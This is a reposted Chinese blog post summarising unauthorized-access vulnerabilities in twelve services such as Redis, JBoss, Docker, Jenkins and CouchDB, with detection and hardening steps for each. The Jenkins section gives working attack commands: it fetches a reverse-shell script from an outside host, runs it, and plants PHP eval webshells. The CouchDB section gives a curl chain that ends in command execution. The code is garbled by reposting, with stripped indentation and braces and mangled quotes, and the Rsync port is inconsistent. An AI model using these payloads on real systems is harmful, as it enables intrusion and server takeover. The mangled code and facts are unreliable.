未授权访问漏洞总结

Posted 格格巫 MMQ!!

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了未授权访问漏洞总结相关的知识,希望对你有一定的参考价值。

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。常见的未授权访问漏洞有以下这些:

一、MongoDB 未授权访问漏洞
漏洞信息

(1) 漏洞简述:开启 MongoDB 服务时若不添加任何参数默认是没有权限验证的,而且可以远程访问数据库登录的用户无需密码。即可通过默认端口 27017 对数据库进行增、删、改、查等高危操作。刚安装完毕时MongoDB 都默认有一个 admin 数据库,此时 admin 数据库为空没有记录权限相关的信息。当 admin.system.users 一个用户都没有时即使 MongoDB 启动时添加了 –auth 参数还是可以做任何操作不管是否以 –auth 参数启动直到在 admin.system.users 中添加了一个用户。

(2) 风险等级——高风险。

漏洞利用

当扫描发现目标主机开放了 27017 端口,经探测(可以用弱口令爆破工具进行爆破)发现该主机存在MongoDB未授权访问漏洞。

用MongoDB Compass 工具直接连接即可。


修复方法

为 MongoDB 添加认证

MongoDB 启动时添加 -auth 参数。
给 MongoDB 添加用户
use admin #使用 admin 库
db.addUser“用户名” “密码”# 添加用户名、密码
db.auth“用户名”,“密码”# 验证是否添加成功返回 1 说明成功。
二、Redis 未授权访问漏洞
漏洞信息

(1) 漏洞简述:Redis 是一个高性能的 Key – Value 数据库。Redis 的出现在很大程度上弥补了 Memcached 这类 Key/Value 存储的不足,在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379,这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。

(2) 风险等级——高风险。

参考文章: Redis未授权访问漏洞

三、Memcached 未授权访问漏洞CVE-2013-7239
漏洞信息

(1) 漏洞简述:Memcached 是一套分布式高速缓存系统。它以 Key – Value 的形式将数据存储在内存中。这些数据通常是会被频繁地应用、读取的。正因为内存中数据的读取速度远远大于硬盘的读取速度所以可以用来加速应用的访问。由于 Memcached 的安全设计缺陷,客户端连接 Memcached 服务器后无需认证就可读取、修改服务器缓存内容。默认端口:11211

(2) 风险等级——高风险。

漏洞利用

修复方法

(1) bind 指定监听 IP。如果 Memcached 没有在外网开放的必要可在 Memcached 启动时指定绑定的 IP 地址为 127.0.0.1。例如

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
(2) 最小化权限运行。使用普通权限账号运行以下指定 memcached 用户运行

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
(3) 修改默认端口。修改默认 11211 监听端口为 11222 端口

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid
(4) 备份数据。为避免数据丢失升级前应做好备份或建立硬盘快照。

四、JBOSS 未授权访问漏洞
漏洞信息

(1) 漏洞简述:JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console 就可以浏览 jboss 的部署管理的信息不需要输入用户名和密码,可以直接部署上传木马有安全隐患。

(2) 风险等级——高风险。

(4) 影响范围JBOSS 全版本。

检测方法

先用 nmap 扫描查看端口开放情况看是否开放 JBOSS 端口。再使用漏洞测试工具测试 jmx 组件存在情况通过访问 http://ip:jboss端口/ 看是否能进入 jmx-console 和 web-console 。

修复方法

JMX Console 安全配置

① 找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面这段 xml 文本的注释。

② 与 jboss-web.xml 同级的目录下还有一个文件 web.xml找到下面这段 xml 文本把 GET 和 POST 两行注释掉同时 security-constraint 整个部分取消注释, 不然存在head头绕过。

③ %JBOSS_HOME%\\server\\default\\conf\\props\\jbossws-users.properties 中删除原始的 admin/admin添加新的用户名密码。

④ %JBOSS_HOME%\\server\\default\\conf\\props\\jbossws-roles.properties 中定义新用户名所属角色。该文件定义的格式为用户名 = 角色多个角色以 “,” 隔开该文件默认为 admin 用户定义了 JBossAdmin 和 HttpInvoker 这两个角色。

A sample roles.properties file foruse with the UsersRolesLoginModule

kermit = JBossAdmin,HttpInvoker
五、VNC 未授权访问漏洞
漏洞信息

(1) 漏洞简述:VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

(2) 风险等级——高风险。

(4) 影响范围VNC 全版本。

检测方法

使用 metasploit 进行批量检测,使用检测模块 auxiliary/scanner/vnc/vnx_none_auth。

修复方法

(1) 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

(2) 以最小权限的普通用户身份运行操作系统。

六、Docker 未授权访问漏洞
漏洞信息

(1) 漏洞简述:Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。默认端口:2375

(2) 风险等级——高风险。

(4) 影响范围Docker 1.3、Docker 1.6。

检测方法

先用 nmap 扫描查看端口开放情况。2375 为 docker 端口,如果存在漏洞会有以下情况url 输入 ip:2375/version 就会列出基本信息,也可以执行目标服务器容器命令如 container、image 等。

修复方法

(1) 使用 TLS 认证。

(2) 网络访问控制Network Access Control

七、ZooKeeper 未授权访问漏洞
漏洞信息

(1) 漏洞简述:ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务是 Google 的 Chubby 一个开源的实现是 Hadoop 和 Hbase 的重要组件。它是一个为分布式应用提供一致性服务的软件提供的功能包括配置维护、域名服务、分布式同步、组服务等。ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境。这将导致任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

(2) 风险等级——高风险。

(4) 影响范围Zookeeper 全版本。

漏洞利用

通过 nmap 扫描开放了 2181 端口的主机。

运行脚本通过 socket 连接 2181 端口并发送 envi 命令若服务端返回的数据中包含 ZooKeeper 的服务运行环境信息即可证明存在未授权访问。

检测脚本

coding=utf-8

import socket
import sys

def check(ip, port, timeout, cmd):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(cmd)
data = s.recv(1024)
s.close()
print data
except:
pass

def main():
if len(sys.argv) < 3:
exit()
ip = sys.argv[1]
cmd = sys.argv[2]
# envi
# dump
# reqs
# ruok
# stat
check(ip, 2181, 3, cmd)

if name == ‘main’:
main()
或者可以直接手动

echo envi|nc 11.11.177.220 2181 #查看目标主机环境,这个在kali下可直接执行
./zkCli.sh -server 11.11.177.220 2181 #连接目标主机Zookeeper服务,这个需要先安装zookeeper,然后到其bin目录下执行


修复方法

(1) 修改 ZooKeeper 默认端口,采用其他端口服务,配置服务来源地址限制策略。

(2) 增加 ZooKeeper 的认证配置。

八、Rsync 未授权访问漏洞
漏洞信息

(1) 漏洞简述:Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。

(2) 风险等级——高风险。

(4) 影响范围:Rsync 全版本。

漏洞利用

用nmap扫描发现开放873端口

参考:rsync 未授权访问漏洞

修复方法

(1) 隐藏 module 信息:修改配置文件 list =false。

(2) 权限控制:不需要写入权限的 module 的设置为只读 Read only = true。

(3) 网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问:hosts allow = 123.123.123.123。

(4) 账户认证:只允许指定的用户利用指定的密码使用 rsync 服务。

(5) 数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh。

九:Hadoop未授权访问漏洞
漏洞信息

由于服务器直接在开放了Hadoop机器HDFS的 50070 web端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

漏洞利用

主要HDFS和MapReduce的WebUI对应的服务端口。

Hadoop-1

其中比较重要的是DataNode 默认端口50075开放的话,攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。

restful api参考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

漏洞加固

1、如无必要,关闭Hadoop Web管理页面

2、开启身份验证,防止未经授权用户访问

3、设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口,详细端口列表如下:

a)HDFS

NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口14000
journalnode 默认端口 8480
b)YARN(JobTracker)

ResourceManager 默认端口8088
JobTracker 默认端口 50030
TaskTracker 默认端口 50060
c)Hue 默认端口 8080

d)YARN(JobTracker)

master 默认端口 60010
regionserver 默认端口60030
e)hive-server2 默认端口 10000

f)spark-jdbcserver 默认端口 10003

十:Jenkins未授权访问
漏洞描述

默认情况下 Jenkins 面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

漏洞利用

1、Jenkins未授权访问可执行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
jenkins-1

println “ifconfig -a”.execute().text 执行一些系统命令
jenkins-2
直接wget下载back.py反弹shell

println “wget http://xxx.secpulse.com/tools/back.py -P /tmp/”.execute().text
println “python /tmp/back.py 10.1.1.111 8080”.execute().text

back.py并不需要root权限
jenkins-3

不想反弹试试Terminal Plugin
jenkins-4

Jenkins未授权访问写shell

jenskins是java web项目,我们用java的File类写文件

new File(“c://temp//secpulse.txt”).write(“”"
1
2
3
“”");

新建一个内容为1,2,3(每一行)的1.txt到c盘的temp文件夹,运行如下命令println “powershell dir c:\\temp”.execute().text如果写成功,那么secpulse.txt就会在返回结果中!

wget写webshell

  1. println “wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php”.execute().text
  2. new File(“/var/www/html/secpulse.php”).write(‘<?php @eval($_POST[s3cpu1se]);?>’);
  3. def webshell = ‘<?php @eval($_POST[s3cpu1se]);?>’
    new File(“/var/www/html/secpulse.php”).write(“$webshell”);
  4. def execute(cmd)
    def proc = cmd.execute()
    proc.waitFor()

    execute( [ ‘bash’, ‘-c’, ‘echo -n “<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] ) execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>” >> /usr/local/nginx_1119/html/secpulse.php’ ] )
    //参数-n 不要在最后自动换行

jenkins-5
Result: 0 表示成功写入
Result: 1 表示目录不存在或者权限不足 写入失败
Result: 2 表示构造有异常 写入失败

具体其他详细利用方法参考:知其一不知其二之Jenkins Hacking

漏洞加固

禁止把Jenkins直接暴露在公网
添加认证,设置强密码复杂度及账号锁定。
十一:Elasticsearch未授权访问
漏洞描述

Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口,可被非法操作数据

漏洞利用

漏洞检测:默认端口 9200

相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。

http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river

http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river

漏洞加固

防火墙上设置禁止外网访问9200端口。
使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证
限制IP访问,绑定固定IP
在config/elasticsearch.yml中为9200端口设置认证:
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user “admin” #账号
http.basic.password “admin_pw” #密码
http.basic.ipwhitelist [“localhost”, “127.0.0.1”]

十二:CouchDB未授权访问
漏洞描述

CouchDB默认在 5984 端口开放Restful的API接口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查,其中通过API修改local.ini配置文件,可进一步导致执行任意系统命令,获取服务器权限!

漏洞利用

couchdb-7

新增query_server配置,这里执行ifconfig命令

curl -X PUT ‘http://x.x.x.x:5984/_config/query_servers/cmd’ -d ‘“/sbin/ifconfig >/tmp/6666”’
新建一个临时表,插入一条记录

couchdb-1

curl -X PUT ‘http://x.x.x.x:5984/vultest’

couchdb-2
curl -X PUT ‘http://x.x.x.x:5984/vultest/vul’ -d ‘“_id”:“770895a97726d5ca6d70a22173005c7b”’
调用query_server处理数据

couchdb-3

curl -X POST ‘http://x.x.x.x:5984/vultest/_temp_view?limit=11’ -d ‘“language”:“cmd”,“map”:“”’ -H ‘Content-Type: application/json’

couchdb-4

当然你也可以直接执行其他命令,下载个其他什么的

couchdb-5 couchdb-6

漏洞加固

1、指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。

2、设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码

以上是关于未授权访问漏洞总结的主要内容,如果未能解决你的问题,请参考以下文章

memcache漏洞--被未授权访问,并作为肉鸡发动DDOS攻击

memcache漏洞--被未授权访问,并作为肉鸡发动DDOS攻击

web未授权访问漏洞总结——mongodbredismemcachejbossvncdockerzkrsync

修补--Redis未授权访问漏洞

Redis未授权访问漏洞的利用及防护

首发预警 | 黑客利用Hadoop Yarn资源管理系统未授权访问漏洞进行攻击